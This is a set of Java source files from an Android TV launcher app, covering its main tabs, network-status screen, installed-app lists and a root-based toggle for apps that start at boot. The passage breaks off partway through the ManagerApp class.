package com.droid.activitys; import android.content.BroadcastReceiver; import android.content.ComponentName; import android.content.ContentValues; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.ServiceConnection; import android.content.pm.PackageInfo; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentTransaction; import android.support.v4.view.ViewPager; import android.util.Log; import android.view.KeyEvent; import android.view.View; import android.widget.RadioButton; import com.droid.R; import com.droid.activitys.setting.SettingFragment; import com.droid.adapter.MainActivityAdapter; import com.droid.application.ClientApplication; import com.droid.db.SharedPreferencesUtil; import com.droid.service.MainService; import com.droid.utils.FileCache; import com.droid.utils.NetWorkUtil; import com.droid.utils.Tools; import com.droid.utils.UpdateManager; import com.droid.views.MyViewPager; import com.droid.activitys.app.AppFragment; import java.io.File; import java.util.ArrayList; import java.util.List; public class MainActivity extends BaseActivity implements View.OnClickListener { private static final String TAG = "MainActivityGameLTV2"; private MyViewPager mViewPager; private RadioButton localService; private RadioButton setting; private RadioButton app; private SQLiteDatabase mSQLiteDataBase; private ClientApplication mClientApp; private List<ContentValues> datas;//图片数据 private int currentIndex; private static final int PAGE_NUMBER = 3; private ArrayList<Fragment> fragments = new ArrayList<Fragment>(); private boolean d = true;// debug private SharedPreferencesUtil sp; private Context context; private FileCache fileCache; private String cacheDir; private View mViews[]; private int mCurrentIndex = 0; private Handler handler = new Handler() { public void handleMessage(android.os.Message msg) { switch (msg.what) { case 0: break; case 1://异常处理 initFragment(""); showShortToast("图片加载失败!"); break; case 2://图片数据解析 Bundle b = msg.getData(); String json = b.getString("mResponseJson"); try { initFragment(json); } catch (Exception e) { e.printStackTrace(); } break; } } ; }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setContentView(R.layout.activity_main); mClientApp = (ClientApplication) this.getApplication(); context = this; fileCache = new FileCache(context); cacheDir = fileCache.getCacheDir(); sp = SharedPreferencesUtil.getInstance(context); initView(); initData(); context.registerReceiver(this.mConnReceiver, new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION)); mBindService(); this.registerReceiver(updateUI, new IntentFilter("com.droid.updateUI")); } /** * 程序安装更新 */ private void installApk() { boolean installFlag = false; Log.d(TAG, "--installFlag1--" + installFlag); ArrayList<File> fileList = fileCache.getFile(); for (File apk : fileList) { String name = apk.getName(); if (name.substring(name.length() - 3, name.length()).equals("zip")) { continue; } name = name.substring(0, name.length() - 4); if (sp.getString(name + "packageName", "") != "") { PackageInfo info = Tools.getAPKVersionInfo(context, sp.getString(name + "packageName", "")); if (info.versionCode < sp.getInt(name + "Version", 0)) { installFlag = true; Tools.installApk(context, apk, sp.getString(name + "MD5", "")); } } } if (!installFlag) { UpdateManager updateManager = new UpdateManager(this); updateManager.checkUpdateInfo(); } } /** * 更新UI receiver */ private BroadcastReceiver updateUI = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { String spResponseJson = sp.getString("url_str_json_data", " "); initFragment(spResponseJson); } }; private void initData() { // 打开数据库 openDataBase(); if (isThereHaveUrlDataInDB()) { String data = getUrlDataFromDB(); //将数据发送到Fragment initFragment(data); getUrlDataFromNetFlow(); } else { getUrlDataFromNetFlow(); } } private boolean isThereHaveUrlDataInDB() { boolean b = false; try { String s = getUrlDataFromDB(); if (s.length() > 0) b = true; } catch (Exception e) { e.printStackTrace(); } return b; } private void initView() { mViewPager = (MyViewPager) this.findViewById(R.id.main_viewpager); localService = (RadioButton) findViewById(R.id.main_title_local); setting = (RadioButton) findViewById(R.id.main_title_setting); app = (RadioButton) findViewById(R.id.main_title_app); localService.setSelected(true); mViews = new View[]{localService, setting, app}; setListener(); } private void setListener() { localService.setOnClickListener(this); setting.setOnClickListener(this); app.setOnClickListener(this); localService.setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { if(hasFocus){ mViewPager.setCurrentItem(0); } } }); setting.setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { if(hasFocus){ mViewPager.setCurrentItem(1); } } }); app.setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { if(hasFocus){ mViewPager.setCurrentItem(2); } } }); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.main_title_local: currentIndex = 0; mViewPager.setCurrentItem(0); break; case R.id.main_title_setting: currentIndex = 3; mViewPager.setCurrentItem(1); break; case R.id.main_title_app: currentIndex = 4; mViewPager.setCurrentItem(2); break; } } /** * 初始化Fragment */ private void initFragment(String url_data) { fragments.clear();//清空 int count = PAGE_NUMBER; FragmentManager manager; FragmentTransaction transaction; /* 获取manager */ manager = this.getSupportFragmentManager(); /* 创建事物 */ transaction = manager.beginTransaction(); LocalServiceFragment interactTV = new LocalServiceFragment(); SettingFragment setting = new SettingFragment(); AppFragment app = new AppFragment(); /*创建一个Bundle用来存储数据,传递到Fragment中*/ Bundle bundle = new Bundle(); /*往bundle中添加数据*/ bundle.putString("url_data", url_data); /*把数据设置到Fragment中*/ interactTV.setArguments(bundle); fragments.add(interactTV); fragments.add(setting); fragments.add(app); transaction.commitAllowingStateLoss(); MainActivityAdapter mAdapter = new MainActivityAdapter(getSupportFragmentManager(), fragments); mViewPager.setAdapter(mAdapter); mViewPager.setOnPageChangeListener(pageListener); mViewPager.setCurrentItem(0); } /** * ViewPager切换监听方法 */ public ViewPager.OnPageChangeListener pageListener = new ViewPager.OnPageChangeListener() { @Override public void onPageScrollStateChanged(int arg0) { } @Override public void onPageScrolled(int arg0, float arg1, int arg2) { } @Override public void onPageSelected(int position) { mViewPager.setCurrentItem(position); switch (position) { case 0: currentIndex = 0; localService.setSelected(true); setting.setSelected(false); app.setSelected(false); break; case 1: currentIndex = 1; localService.setSelected(false); setting.setSelected(true); app.setSelected(false); break; case 2: currentIndex = 2; localService.setSelected(false); setting.setSelected(false); app.setSelected(true); break; } } }; /** * 从网上获取Url数据流 */ private void getUrlDataFromNetFlow() { if (NetWorkUtil.isNetWorkConnected(context)) { //获取数据 initFragment(""); } else { initFragment(""); } } private String getUrlDataFromDB() { Cursor cursor = mSQLiteDataBase.rawQuery("SELECT url_data FROM my_url_data", null); cursor.moveToLast(); String a = cursor.getString(cursor.getColumnIndex("url_data")); // String s = cursor.getString(2); return a; } /* 打开数据库,创建表 */ private void openDataBase() { mSQLiteDataBase = this.openOrCreateDatabase("myapp.db", MODE_PRIVATE, null); String CREATE_TABLE = "create table if not exists my_url_data (_id INTEGER PRIMARY KEY,url_data TEXT);"; mSQLiteDataBase.execSQL(CREATE_TABLE); // 插入一条_id 为 1 的空数据 String INSERT_ONE_DATA = ""; } @Override protected void onStop() { super.onStop(); mSQLiteDataBase.close(); } /** * 顶部焦点获取 * * @param keyCode * @param event * @return */ @Override public boolean onKeyDown(int keyCode, KeyEvent event) { boolean focusFlag = false; for (View v : mViews) { if (v.isFocused()) { focusFlag = true; } } Log.d(TAG, "code:" + keyCode + " flag:" + focusFlag); if (focusFlag) { if (KeyEvent.KEYCODE_DPAD_LEFT == keyCode) { if (mCurrentIndex > 0) { mViews[--mCurrentIndex].requestFocus(); } return true; } else if (KeyEvent.KEYCODE_DPAD_RIGHT == keyCode) { if (mCurrentIndex < 2) { mViews[++mCurrentIndex].requestFocus(); } return true; } } return super.onKeyDown(keyCode, event); } private void mBindService() { Intent intent = new Intent(this, MainService.class); if (d) Log.i(TAG, "=======bindService()========"); bindService(intent, connection, Context.BIND_AUTO_CREATE); } private MainService.MyBinder myBinder; private ServiceConnection connection = new ServiceConnection() { @Override public void onServiceDisconnected(ComponentName name) { } @Override public void onServiceConnected(ComponentName name, IBinder service) { myBinder = (MainService.MyBinder) service; myBinder.startDownload(); } }; private BroadcastReceiver mConnReceiver = new BroadcastReceiver() { public void onReceive(Context context, Intent intent) { NetworkInfo currentNetworkInfo = intent .getParcelableExtra(ConnectivityManager.EXTRA_NETWORK_INFO); if (currentNetworkInfo.isConnected()) { //连接网络更新数据 installApk(); } else { showShortToast("网络未连接"); ClientApplication.netFlag = false; } } }; @Override protected void onResume() { super.onResume(); } @Override protected void onDestroy() { super.onDestroy(); unregisterReceiver(mConnReceiver); } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/LocalServiceFragment.java
src/com/droid/activitys/LocalServiceFragment.java
package com.droid.activitys; import android.content.ContentValues; import android.content.Context; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageButton; import com.droid.R; import com.droid.application.ClientApplication; import com.droid.cache.loader.ImageWorker; import java.util.List; public class LocalServiceFragment extends WoDouGameBaseFragment implements View.OnClickListener { private ImageWorker mImageLoader; private static final boolean d = ClientApplication.debug; private Context context; private List<ContentValues> datas; private ImageButton tour; private ImageButton tv; private ImageButton ad1; private ImageButton cate; private ImageButton weather; private ImageButton ad2; private ImageButton news; private ImageButton appStore; private ImageButton video; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); context = getActivity(); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = LayoutInflater.from(getActivity()).inflate(R.layout.fragment_local_service, null); initView(view); return view; } private void initView(View view) { tv = (ImageButton) view.findViewById(R.id.local_tv); tour = (ImageButton) view.findViewById(R.id.local_tour); ad1 = (ImageButton) view.findViewById(R.id.local_ad1); ad2 = (ImageButton) view.findViewById(R.id.local_ad2); cate = (ImageButton) view.findViewById(R.id.local_cate); weather = (ImageButton) view.findViewById(R.id.local_weather); news = (ImageButton) view.findViewById(R.id.local_news); appStore = (ImageButton) view.findViewById(R.id.local_app_store); video = (ImageButton) view.findViewById(R.id.local_video); tv.setOnFocusChangeListener(mFocusChangeListener); tour.setOnFocusChangeListener(mFocusChangeListener); ad1.setOnFocusChangeListener(mFocusChangeListener); ad2.setOnFocusChangeListener(mFocusChangeListener); cate.setOnFocusChangeListener(mFocusChangeListener); weather.setOnFocusChangeListener(mFocusChangeListener); news.setOnFocusChangeListener(mFocusChangeListener); appStore.setOnFocusChangeListener(mFocusChangeListener); video.setOnFocusChangeListener(mFocusChangeListener); tv.setOnClickListener(this); video.setOnClickListener(this); tv.setFocusable(true); tv.setFocusableInTouchMode(true); tv.requestFocus(); tv.requestFocusFromTouch(); } private void showImages() {} @Override public void onClick(View v) { switch (v.getId()) { case R.id.local_tv: break; case R.id.local_ad1: break; case R.id.local_ad2: break; case R.id.local_weather: break; case R.id.local_app_store: break; case R.id.local_cate: break; case R.id.local_news: break; case R.id.local_tour: break; case R.id.local_video: break; } } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/Ethernet.java
src/com/droid/activitys/Ethernet.java
package com.droid.activitys; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.os.Bundle; import android.util.Log; import android.widget.ImageButton; import android.widget.TextView; import com.droid.R; /** * @author Droid * 有线网络连接 */ public class Ethernet extends Activity { private static final String TAG = "UPDATE"; private static final boolean d = false; private ImageButton btnUpdate; private TextView tip; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setContentView(R.layout.activity_ethernet); initViews(); } private void initViews() { tip = (TextView) findViewById(R.id.ethernet_tv); registerReceiver(mConnReceiver, new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION)); } @Override protected void onRestart() { super.onRestart(); Log.i(TAG, "============onRestart========"); } @Override protected void onPause() { super.onPause(); Log.i(TAG, "=====onPause==========="); } @Override protected void onResume() { super.onResume(); Log.i(TAG, "=========onResume======="); } @Override protected void onDestroy() { super.onDestroy(); unregisterReceiver(mConnReceiver); } private BroadcastReceiver mConnReceiver = new BroadcastReceiver() { public void onReceive(Context context, Intent intent) { boolean noConnectivity = intent.getBooleanExtra( ConnectivityManager.EXTRA_NO_CONNECTIVITY, false); String reason = intent .getStringExtra(ConnectivityManager.EXTRA_REASON); boolean isFailover = intent.getBooleanExtra( ConnectivityManager.EXTRA_IS_FAILOVER, false); NetworkInfo currentNetworkInfo = (NetworkInfo) intent .getParcelableExtra(ConnectivityManager.EXTRA_NETWORK_INFO); NetworkInfo otherNetworkInfo = (NetworkInfo) intent .getParcelableExtra(ConnectivityManager.EXTRA_OTHER_NETWORK_INFO); if (currentNetworkInfo.isConnected() && currentNetworkInfo.getType() == ConnectivityManager.TYPE_WIFI) { tip.setText("已连接无线网络,若连接有线请插好网线"); } else if (currentNetworkInfo.isConnected() && currentNetworkInfo.getType() == ConnectivityManager.TYPE_ETHERNET) { tip.setText("已连接有线网络"); } } }; }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/BaseActivity.java
src/com/droid/activitys/BaseActivity.java
package com.droid.activitys; import android.support.v4.app.FragmentActivity; import android.widget.Toast; /** * @author Droid */ public abstract class BaseActivity extends FragmentActivity { protected void showLongToast(String pMsg) { Toast.makeText(this, pMsg, Toast.LENGTH_LONG).show(); } protected void showShortToast(String pMsg) { Toast.makeText(this, pMsg, Toast.LENGTH_SHORT).show(); } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/WoDouGameBaseFragment.java
src/com/droid/activitys/WoDouGameBaseFragment.java
package com.droid.activitys; import android.content.Context; import android.graphics.Color; import android.support.v4.app.Fragment; import android.view.View; import android.view.animation.Animation; import android.view.animation.AnimationUtils; import android.widget.ImageView; import android.widget.Toast; import com.droid.R; import com.droid.application.ClientApplication; public class WoDouGameBaseFragment extends Fragment { /** * 当前的ImageView * 添加边框时 */ ImageView currentImage; private Context context = ClientApplication.getContext(); /** * 提供选中放大的效果 */ public View.OnFocusChangeListener mFocusChangeListener = new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { int focus = 0; if (hasFocus) { focus = R.anim.enlarge; } else { focus = R.anim.decrease; } //如果有焦点就放大,没有焦点就缩小 Animation mAnimation = AnimationUtils.loadAnimation( getActivity().getApplication(), focus); mAnimation.setBackgroundColor(Color.TRANSPARENT); mAnimation.setFillAfter(hasFocus); v.startAnimation(mAnimation); mAnimation.start(); v.bringToFront(); } }; protected void showLongToast(String pMsg) { Toast.makeText(context, pMsg, Toast.LENGTH_LONG).show(); } protected void showShortToast(String pMsg) { Toast.makeText(context, pMsg, Toast.LENGTH_SHORT).show(); } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/app/AppAutoRun.java
src/com/droid/activitys/app/AppAutoRun.java
package com.droid.activitys.app; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.util.Log; import android.view.KeyEvent; import android.view.View; import android.widget.AdapterView; import android.widget.ImageView; import android.widget.ListView; import com.droid.R; import com.droid.adapter.AppAutoRunAdapter; import com.droid.bean.AppBean; import java.io.DataOutputStream; import java.io.IOException; import java.util.List; /** * @author Droid * 应用开机自启动管理 */ public class AppAutoRun extends Activity implements View.OnClickListener { private static final String TAG = "UPDATE"; private static final boolean d = false; private ListView listView; private AppAutoRunAdapter adapter; private List<AppBean> mAppList; private Context context; private boolean first = true; private boolean clickFlag = false; private int clickPosition; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setContentView(R.layout.app_auto_run); context = this; init(); } private void init() { listView = (ListView) findViewById(R.id.app_auto_run_lv); GetAppList getAppInstance = new GetAppList(context); mAppList = getAppInstance.getAutoRunAppList(); adapter = new AppAutoRunAdapter(context, mAppList); listView.setAdapter(adapter); listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { ImageView flag = (ImageView) view.findViewById(R.id.item_app_auto_run_flag); if (first) { first = false; clickPosition = position; boolean b = manageBoot(mAppList.get(position).getPackageName(),false); flag.setBackgroundResource(R.drawable.switch_off); clickFlag = true; } else { if (clickPosition == position) { if (clickFlag) { boolean b = manageBoot(mAppList.get(position).getPackageName(),true); flag.setBackgroundResource(R.drawable.switch_on); } else { flag.setBackgroundResource(R.drawable.switch_off); boolean b = manageBoot(mAppList.get(position).getPackageName(),false); } clickFlag = !clickFlag; } else { clickFlag = true; clickPosition = position; flag.setBackgroundResource(R.drawable.switch_off); boolean b = manageBoot(mAppList.get(position).getPackageName(),false); } } } }); } public boolean manageBoot(String pkg,boolean able) { Process process = null; DataOutputStream dos = null; String command = null; try { process = Runtime.getRuntime().exec("su"); dos = new DataOutputStream(process.getOutputStream()); dos.flush(); command = "export LD_LIBRARY_PATH=/vendor/lib:/system/lib \n"; dos.writeBytes(command); //(有些cls含有$,需要处理一下,不然会禁止失败,比如微信) //但是获取应用是否允许或者禁止开机启动的时候就不用处理cls,否则得不到状态值 // cls = cls.replace("$", "\\$"); // command = "pm disable " + pkg + "/" + cls + " \n"; if(able){ command = "pm enable " + pkg; }else{ command = "pm disable " + pkg; } dos.writeBytes(command); dos.writeBytes("exit " + "\n"); dos.flush(); try { process.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } int exitValue = process.exitValue(); try { if (exitValue == 0) { return true; } else { return false; } } catch (Exception e) { e.printStackTrace(); } } catch (IOException e) { e.printStackTrace(); } finally { if (dos != null) { try { dos.close(); } catch (IOException e) { e.printStackTrace(); } } if (process != null) { process.destroy(); } } return false; } @Override public boolean dispatchKeyEvent(KeyEvent event) { return super.dispatchKeyEvent(event); } @Override protected void onRestart() { super.onRestart(); Log.i(TAG, "============onRestart========"); } @Override protected void onStart() { super.onStart(); Log.i(TAG, "============onStart========"); } @Override protected void onDestroy() { super.onDestroy(); Log.i(TAG, "============onDestroy========"); } @Override protected void onPause() { super.onPause(); Log.i(TAG, "=====onPause==========="); } @Override protected void onResume() { super.onResume(); Log.i(TAG, "=========onResume======="); } @Override public void onClick(View v) { } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/app/GetAppList.java
src/com/droid/activitys/app/GetAppList.java
package com.droid.activitys.app; import android.content.Context; import android.content.Intent; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; import android.content.pm.ResolveInfo; import com.droid.application.ClientApplication; import com.droid.bean.AppBean; import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class GetAppList { private Context mContext; public GetAppList(Context context) { mContext = context; } private static final String TAG = "GetAppList"; private static final boolean d = ClientApplication.debug; public ArrayList<AppBean> getLaunchAppList() { PackageManager localPackageManager = mContext.getPackageManager(); Intent localIntent = new Intent("android.intent.action.MAIN"); localIntent.addCategory("android.intent.category.LAUNCHER"); List<ResolveInfo> localList = localPackageManager.queryIntentActivities(localIntent, 0); ArrayList<AppBean> localArrayList = null; Iterator<ResolveInfo> localIterator = null; if (localList != null) { localArrayList = new ArrayList<AppBean>(); localIterator = localList.iterator(); } while (true) { if (!localIterator.hasNext()) break; ResolveInfo localResolveInfo = (ResolveInfo) localIterator.next(); AppBean localAppBean = new AppBean(); localAppBean.setIcon(localResolveInfo.activityInfo.loadIcon(localPackageManager)); localAppBean.setName(localResolveInfo.activityInfo.loadLabel(localPackageManager).toString()); localAppBean.setPackageName(localResolveInfo.activityInfo.packageName); localAppBean.setDataDir(localResolveInfo.activityInfo.applicationInfo.publicSourceDir); localAppBean.setLauncherName(localResolveInfo.activityInfo.name); String pkgName = localResolveInfo.activityInfo.packageName; PackageInfo mPackageInfo; try { mPackageInfo = mContext.getPackageManager().getPackageInfo(pkgName, 0); if ((mPackageInfo.applicationInfo.flags & mPackageInfo.applicationInfo.FLAG_SYSTEM) > 0) {//系统预装 localAppBean.setSysApp(true); } } catch (NameNotFoundException e) { e.printStackTrace(); } String noSeeApk = localAppBean.getPackageName(); // 屏蔽自己 、芒果 、tcl新 if (!noSeeApk.equals("com.cqsmiletv") && !noSeeApk.endsWith("com.starcor.hunan") && !noSeeApk.endsWith("com.tcl.matrix.tventrance")) { localArrayList.add(localAppBean); } } return localArrayList; } public ArrayList<AppBean> getUninstallAppList() { PackageManager localPackageManager = mContext.getPackageManager(); Intent localIntent = new Intent("android.intent.action.MAIN"); localIntent.addCategory("android.intent.category.LAUNCHER"); List<ResolveInfo> localList = localPackageManager.queryIntentActivities(localIntent, 0); ArrayList<AppBean> localArrayList = null; Iterator<ResolveInfo> localIterator = null; if (localList != null) { localArrayList = new ArrayList<AppBean>(); localIterator = localList.iterator(); } while (true) { if (!localIterator.hasNext()) break; ResolveInfo localResolveInfo = (ResolveInfo) localIterator.next(); AppBean localAppBean = new AppBean(); localAppBean.setIcon(localResolveInfo.activityInfo.loadIcon(localPackageManager)); localAppBean.setName(localResolveInfo.activityInfo.loadLabel(localPackageManager).toString()); localAppBean.setPackageName(localResolveInfo.activityInfo.packageName); localAppBean.setDataDir(localResolveInfo.activityInfo.applicationInfo.publicSourceDir); String pkgName = localResolveInfo.activityInfo.packageName; PackageInfo mPackageInfo; try { mPackageInfo = mContext.getPackageManager().getPackageInfo(pkgName, 0); if ((mPackageInfo.applicationInfo.flags & mPackageInfo.applicationInfo.FLAG_SYSTEM) > 0) {//系统预装 localAppBean.setSysApp(true); } else { localArrayList.add(localAppBean); } } catch (NameNotFoundException e) { e.printStackTrace(); } } return localArrayList; } public ArrayList<AppBean> getAutoRunAppList() { PackageManager localPackageManager = mContext.getPackageManager(); Intent localIntent = new Intent("android.intent.action.MAIN"); localIntent.addCategory("android.intent.category.LAUNCHER"); List<ResolveInfo> localList = localPackageManager.queryIntentActivities(localIntent, 0); ArrayList<AppBean> localArrayList = null; Iterator<ResolveInfo> localIterator = null; if (localList != null) { localArrayList = new ArrayList<AppBean>(); localIterator = localList.iterator(); } while (true) { if (!localIterator.hasNext()) break; ResolveInfo localResolveInfo = localIterator.next(); AppBean localAppBean = new AppBean(); localAppBean.setIcon(localResolveInfo.activityInfo.loadIcon(localPackageManager)); localAppBean.setName(localResolveInfo.activityInfo.loadLabel(localPackageManager).toString()); localAppBean.setPackageName(localResolveInfo.activityInfo.packageName); localAppBean.setDataDir(localResolveInfo.activityInfo.applicationInfo.publicSourceDir); String pkgName = localResolveInfo.activityInfo.packageName; String permission = "android.permission.RECEIVE_BOOT_COMPLETED"; try { PackageInfo mPackageInfo = mContext.getPackageManager().getPackageInfo(pkgName, 0); if ((PackageManager.PERMISSION_GRANTED == localPackageManager.checkPermission(permission, pkgName)) && !((mPackageInfo.applicationInfo.flags & mPackageInfo.applicationInfo.FLAG_SYSTEM) > 0)) { localArrayList.add(localAppBean); } } catch (NameNotFoundException e) { e.printStackTrace(); } } return localArrayList; } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/app/ManagerApp.java
src/com/droid/activitys/app/ManagerApp.java
package com.droid.activitys.app; import java.util.List; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.net.Uri; import android.util.AttributeSet; import android.util.Log; import android.view.Gravity; import android.view.LayoutInflater; import android.view.View; import android.view.ViewPropertyAnimator; import android.widget.Button; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.PopupWindow; import android.widget.TextView; import android.widget.Toast; import com.droid.R; import com.droid.bean.AppBean; public class ManagerApp extends LinearLayout implements View.OnClickListener { public static int position = -1; private PopupWindow mPopupWindow = null; public static final String TAG = "ManagerPagerItemLayout"; private static final boolean d =false; private Button mLauncherButton,mFavoriteButton, mUpdateButton, mRemoveButton; public ManagerApp(Context context, AttributeSet attrs) { super(context, attrs); } public ManagerApp(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); } private Context mContext; private ImageView appIcons[] = new ImageView[15]; private LinearLayout appItems[] = new LinearLayout[15]; int iconIds[] = { R.id.app_icon0, R.id.app_icon1, R.id.app_icon2, R.id.app_icon3, R.id.app_icon4, R.id.app_icon5, R.id.app_icon6, R.id.app_icon7, R.id.app_icon8, R.id.app_icon9, R.id.app_icon10, R.id.app_icon11, R.id.app_icon12, R.id.app_icon13, R.id.app_icon14 }; private TextView appNames[] = new TextView[15]; int nameIds[] = { R.id.app_name0, R.id.app_name1, R.id.app_name2, R.id.app_name3, R.id.app_name4, R.id.app_name5, R.id.app_name6, R.id.app_name7, R.id.app_name8, R.id.app_name9, R.id.app_name10, R.id.app_name11, R.id.app_name12, R.id.app_name13, R.id.app_name14 }; int itemIds[] = { R.id.app_item0, R.id.app_item1, R.id.app_item2, R.id.app_item3, R.id.app_item4, R.id.app_item5, R.id.app_item6, R.id.app_item7, R.id.app_item8, R.id.app_item9, R.id.app_item10, R.id.app_item11, R.id.app_item12, R.id.app_item13, R.id.app_item14 }; public ManagerApp(Context context) { super(context); mContext = context; } private List<AppBean> mAppList = null; private int mPagerIndex = -1; private int mPagerCount = -1; public void setAppList(List<AppBean> list, int pagerIndex, int pagerCount) { mAppList = list; mPagerIndex = pagerIndex; mPagerCount = pagerCount; } public void ManagerAppInit() { View vvv = LayoutInflater.from(mContext).inflate( R.layout.item_pager_layout_managerapp, null); LayoutParams params = new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT); params.gravity = Gravity.CENTER; int itemCount = -1; if (mPagerIndex < mPagerCount - 1) { itemCount = 15; } else { itemCount = (mAppList.size() - (mPagerCount - 1) * 15); } for (int i = 0; i < itemCount; i++) { appIcons[i] = (ImageView) vvv.findViewById(iconIds[i]); appNames[i] = (TextView) vvv.findViewById(nameIds[i]); appIcons[i].setImageDrawable(mAppList.get(mPagerIndex * 15 + i) .getIcon()); appNames[i].setText(mAppList.get(mPagerIndex * 15 + i).getName()); appItems[i] = (LinearLayout) vvv.findViewById(itemIds[i]); appItems[i].setVisibility(View.VISIBLE); appItems[i].setOnClickListener(this); } createPopuWindow(); addView(vvv); } @Override public void onClick(View arg0) { int id = arg0.getId(); switch (id) { case R.id.app_item0: position = mPagerIndex * 15 + 0; break; case R.id.app_item1: position = mPagerIndex * 15 + 1; break; case R.id.app_item2: position = mPagerIndex * 15 + 2; break; case R.id.app_item3: position = mPagerIndex * 15 + 3; break; case R.id.app_item4: position = mPagerIndex * 15 + 4; break; case R.id.app_item5: position = mPagerIndex * 15 + 5; break; case R.id.app_item6: position = mPagerIndex * 15 + 6; break; case R.id.app_item7: position = mPagerIndex * 15 + 7; break; case R.id.app_item8: position = mPagerIndex * 15 + 8; break; case R.id.app_item9: position = mPagerIndex * 15 + 9; break; case R.id.app_item10: position = mPagerIndex * 15 + 10; break; case R.id.app_item11: position = mPagerIndex * 15 + 11; break; case R.id.app_item12: position = mPagerIndex * 15 + 12; break; case R.id.app_item13: position = mPagerIndex * 15 + 13; break; case R.id.app_item14: position = mPagerIndex * 15 + 14; break; default: break; } mPopupWindow.showAtLocation(getRootView(), Gravity.CENTER, 0, 0); if(mAppList.get(position).isSysApp()){ mRemoveButton.setVisibility(View.GONE); } } private void createPopuWindow() { View view = LayoutInflater.from(mContext).inflate( R.layout.item_pager_manager_pop_window, null); mPopupWindow = new PopupWindow(view, 650, 200); mPopupWindow.setBackgroundDrawable(mContext.getResources().getDrawable( android.R.color.transparent)); mPopupWindow.setFocusable(true); mLauncherButton = (Button) view.findViewById(R.id.start_btn); mUpdateButton = (Button) view.findViewById(R.id.update_btn); mFavoriteButton = (Button) view.findViewById(R.id.favorite_btn); mRemoveButton = (Button) view.findViewById(R.id.remove_btn); mLauncherButton .setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View arg0, boolean arg1) { if (arg1 == true) { ViewPropertyAnimator propertyAnimator = mLauncherButton.animate(); propertyAnimator.scaleX(1.2f); propertyAnimator.scaleY(1.2f); propertyAnimator.setDuration(100); propertyAnimator.start(); }else{ ViewPropertyAnimator propertyAnimator = mLauncherButton.animate(); propertyAnimator.scaleX(1.0f); propertyAnimator.scaleY(1.0f); propertyAnimator.setDuration(100); propertyAnimator.start(); } } }); mUpdateButton .setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View arg0, boolean arg1) { if (arg1 == true) { ViewPropertyAnimator propertyAnimator = mUpdateButton.animate(); propertyAnimator.scaleX(1.2f); propertyAnimator.scaleY(1.2f); propertyAnimator.setDuration(100); propertyAnimator.start(); }else{ ViewPropertyAnimator propertyAnimator = mUpdateButton.animate(); propertyAnimator.scaleX(1.0f); propertyAnimator.scaleY(1.0f); propertyAnimator.setDuration(100); propertyAnimator.start(); } } }); 